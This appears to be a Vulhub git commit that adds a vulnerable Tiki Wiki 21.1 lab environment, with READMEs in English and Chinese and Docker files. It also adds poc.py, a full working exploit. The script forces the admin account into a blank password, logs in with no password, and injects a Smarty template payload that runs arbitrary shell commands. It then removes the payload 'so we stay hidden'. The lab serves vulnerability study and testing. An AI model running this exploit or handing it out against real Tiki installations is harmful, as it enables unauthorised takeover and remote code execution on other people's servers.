first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
tikiwiki/CVE-2020-15906/1.png
Normal file
BIN
tikiwiki/CVE-2020-15906/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 84 KiB |
44
tikiwiki/CVE-2020-15906/README.md
Normal file
44
tikiwiki/CVE-2020-15906/README.md
Normal file
@@ -0,0 +1,44 @@
|
||||
# Tiki Wiki CMS Groupware 21.1 Authentication Bypass (CVE-2020-15906)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Tiki Wiki CMS Groupware or simply Tiki, originally known as TikiWiki, is a free and open source Wiki-based content management system and online office suite written primarily in PHP and distributed under the GNU Lesser General Public License (LGPL) license.
|
||||
|
||||
There is a new vulnerability in TikiWiki Cms Groupware 16.x - 21.1. It allows remote unauthenticated attackers to bypass the login page which results in a full compromise of Tiki Wiki CMS. An Attacker is able to bruteforce the Admin account until it is locked. After that an empty Password can be used to authenticate as admin to get access.
|
||||
|
||||
References:
|
||||
|
||||
- https://info.tiki.org/article473-Security-Releases-of-all-Tiki-versions-since-16-3
|
||||
- https://github.com/S1lkys/CVE-2020-15906
|
||||
- http://packetstormsecurity.com/files/159663/Tiki-Wiki-CMS-Groupware-21.1-Authentication-Bypass.html
|
||||
- https://srcincite.io/pocs/cve-2021-26119.py.txt
|
||||
|
||||
## Vulnerable environment
|
||||
|
||||
Execute following commands to start a Tiki Wiki CMS 21.1:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the server is running, browser the `http://your-ip:8080` to see the welcome page.
|
||||
|
||||
## Exploit
|
||||
|
||||
[POC](https://srcincite.io/pocs/cve-2021-26119.py.txt) comblines two bugs which lead to remote code execution:
|
||||
|
||||
Bug 1: CVE-2020-15906
|
||||
- An unauthenticated user can bypass the authentication by bruteforcing the admin account > 50 times and login with a blank password
|
||||
- Works on: <= 21.1 (UY_Scuti)
|
||||
|
||||
Bug 2: CVE-2021-26119
|
||||
- An admin user can trigger a serverside template injection and gain remote code execution by escaping the sandbox of the Smarty Template Engine by leveraging the 'template_object' property
|
||||
- Works on: <= 22.2 (Corona_Borealis) and impacts Smarty <= 3.1.38 (latest)
|
||||
|
||||
```shell
|
||||
python poc.py your-ip:8080 / id
|
||||
```
|
||||
|
||||

|
||||
|
||||
*WARNING* This exploit will lock out the administrator account.
|
32
tikiwiki/CVE-2020-15906/README.zh-cn.md
Normal file
32
tikiwiki/CVE-2020-15906/README.zh-cn.md
Normal file
@@ -0,0 +1,32 @@
|
||||
# Tiki Wiki CMS Groupware 认证绕过漏洞(CVE-2020-15906)
|
||||
|
||||
Tiki Wiki CMS Groupware或简称为Tiki(最初称为TikiWiki)是一种免费且开源的基于Wiki的内容管理系统和在线办公套件。在如下这些版本21.2, 20.4, 19.3, 18.7, 17.3, 16.4前存在一处逻辑错误,管理员账户被爆破60次以上时将被锁定,此时使用空白密码即可以管理员身份登录后台。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://info.tiki.org/article473-Security-Releases-of-all-Tiki-versions-since-16-3
|
||||
- https://github.com/S1lkys/CVE-2020-15906
|
||||
- http://packetstormsecurity.com/files/159663/Tiki-Wiki-CMS-Groupware-21.1-Authentication-Bypass.html
|
||||
- https://srcincite.io/pocs/cve-2021-26119.py.txt
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
执行如下命令启动一个Tiki Wiki CMS 21.1:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后,访问`http://your-ip:8080`可以看到其欢迎页面。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
我们可以使用<https://srcincite.io/pocs/cve-2021-26119.py.txt>中的[POC](poc.py)进行复现。该POC先使用CVE-2020-15906绕过认证,获取管理员权限;再使用Smarty的沙盒绕过漏洞(CVE-2021-26119)于后台执行任意命令:
|
||||
|
||||
```shell
|
||||
python poc.py your-ip:8080 / id
|
||||
```
|
||||
|
||||

|
||||
|
||||
注意,受到漏洞原理的影响,执行该POC会导致管理员账户被锁定。
|
26
tikiwiki/CVE-2020-15906/docker-compose.yml
Normal file
26
tikiwiki/CVE-2020-15906/docker-compose.yml
Normal file
@@ -0,0 +1,26 @@
|
||||
version: '3'
|
||||
services:
|
||||
web:
|
||||
image: vulhub/tikiwiki:21.1
|
||||
entrypoint:
|
||||
- bash
|
||||
- /docker-entrypoint.sh
|
||||
depends_on:
|
||||
- db
|
||||
ports:
|
||||
- "8080:80"
|
||||
environment:
|
||||
- TIKI_DB_DRIVER=pdo
|
||||
- TIKI_DB_HOST=db
|
||||
- TIKI_DB_USER=root
|
||||
- TIKI_DB_PASS=root
|
||||
- TIKI_DB_NAME=tikiwiki
|
||||
volumes:
|
||||
- "./docker-entrypoint.sh:/docker-entrypoint.sh"
|
||||
db:
|
||||
image: mysql:5.7
|
||||
environment:
|
||||
- MYSQL_ROOT_PASSWORD=root
|
||||
- MYSQL_DATABASE=tikiwiki
|
||||
ports:
|
||||
- "3306:3306"
|
13
tikiwiki/CVE-2020-15906/docker-entrypoint.sh
Normal file
13
tikiwiki/CVE-2020-15906/docker-entrypoint.sh
Normal file
@@ -0,0 +1,13 @@
|
||||
#!/bin/bash
|
||||
|
||||
wait-for-it db:3306 -- echo "database is up"
|
||||
|
||||
if [[ ! -e ./db/local.php ]]; then
|
||||
php console.php database:configure --host db -- root root tikiwiki
|
||||
php console.php database:install
|
||||
php console.php users:password -- admin vulhub
|
||||
php console.php index:rebuild
|
||||
php console.php installer:lock
|
||||
fi
|
||||
|
||||
apache2-foreground
|
84
tikiwiki/CVE-2020-15906/poc.py
Normal file
84
tikiwiki/CVE-2020-15906/poc.py
Normal file
@@ -0,0 +1,84 @@
|
||||
import requests
|
||||
import sys
|
||||
import re
|
||||
|
||||
|
||||
def auth_bypass(s, t):
|
||||
d = {
|
||||
"ticket" : "",
|
||||
"user" : "admin",
|
||||
"pass" : "trololololol",
|
||||
}
|
||||
h = { "referer" : t }
|
||||
d["ticket"] = get_ticket(s, "%stiki-login.php" % t)
|
||||
d["pass"] = "" # blank login
|
||||
r = s.post("%stiki-login.php" % t, data=d, headers=h)
|
||||
r = s.get("%stiki-admin.php" % t)
|
||||
assert ("You do not have the permission that is needed" not in r.text), "(-) authentication bypass failed!"
|
||||
|
||||
def black_password(s, t):
|
||||
uri = "%stiki-login.php" % t
|
||||
# setup cookies here
|
||||
s.get(uri)
|
||||
ticket = get_ticket(s, uri)
|
||||
d = {
|
||||
'user':'admin',
|
||||
'pass':'trololololol',
|
||||
}
|
||||
# crafted especially so unsuccessful_logins isn't recorded
|
||||
for i in range(0, 51):
|
||||
r = s.post(uri, d)
|
||||
if("Account requires administrator approval." in r.text):
|
||||
print("(+) admin password blanked!")
|
||||
return
|
||||
raise Exception("(-) auth bypass failed!")
|
||||
|
||||
def get_ticket(s, uri):
|
||||
h = { "referer" : uri }
|
||||
r = s.get(uri)
|
||||
match = re.search('class="ticket" name="ticket" value="(.*)" \/>', r.text)
|
||||
assert match, "(-) csrf ticket leak failed!"
|
||||
return match.group(1)
|
||||
|
||||
def trigger_or_patch_ssti(s, t, c=None):
|
||||
# CVE-2021-26119
|
||||
p = { "page": "look" }
|
||||
h = { "referer" : t }
|
||||
bypass = "startrce{$smarty.template_object->smarty->disableSecurity()->display('string:{shell_exec(\"%s\")}')}endrce" % c
|
||||
d = {
|
||||
"ticket" : get_ticket(s, "%stiki-admin.php" % t),
|
||||
"feature_custom_html_head_content" : bypass if c else '',
|
||||
"lm_preference[]": "feature_custom_html_head_content"
|
||||
}
|
||||
r = s.post("%stiki-admin.php" % t, params=p, data=d, headers=h)
|
||||
r = s.get("%stiki-index.php" % t)
|
||||
if c != None:
|
||||
assert ("startrce" in r.text and "endrce" in r.text), "(-) rce failed!"
|
||||
cmdr = r.text.split("startrce")[1].split("endrce")[0]
|
||||
print(cmdr.strip())
|
||||
|
||||
def main():
|
||||
if(len(sys.argv) < 4):
|
||||
print("(+) usage: %s <host> <path> <cmd>" % sys.argv[0])
|
||||
print("(+) eg: %s 192.168.75.141 / id"% sys.argv[0])
|
||||
print("(+) eg: %s 192.168.75.141 /tiki-20.3/ id" % sys.argv[0])
|
||||
return
|
||||
p = sys.argv[2]
|
||||
c = sys.argv[3]
|
||||
p = p + "/" if not p.endswith("/") else p
|
||||
p = "/" + p if not p.startswith("/") else p
|
||||
t = "http://%s%s" % (sys.argv[1], p)
|
||||
s = requests.Session()
|
||||
print("(+) blanking password...")
|
||||
black_password(s, t)
|
||||
print("(+) getting a session...")
|
||||
auth_bypass(s, t)
|
||||
print("(+) auth bypass successful!")
|
||||
print("(+) triggering rce...\n")
|
||||
# trigger for rce
|
||||
trigger_or_patch_ssti(s, t, c)
|
||||
# patch so we stay hidden
|
||||
trigger_or_patch_ssti(s, t)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
Reference in New Issue
Block a user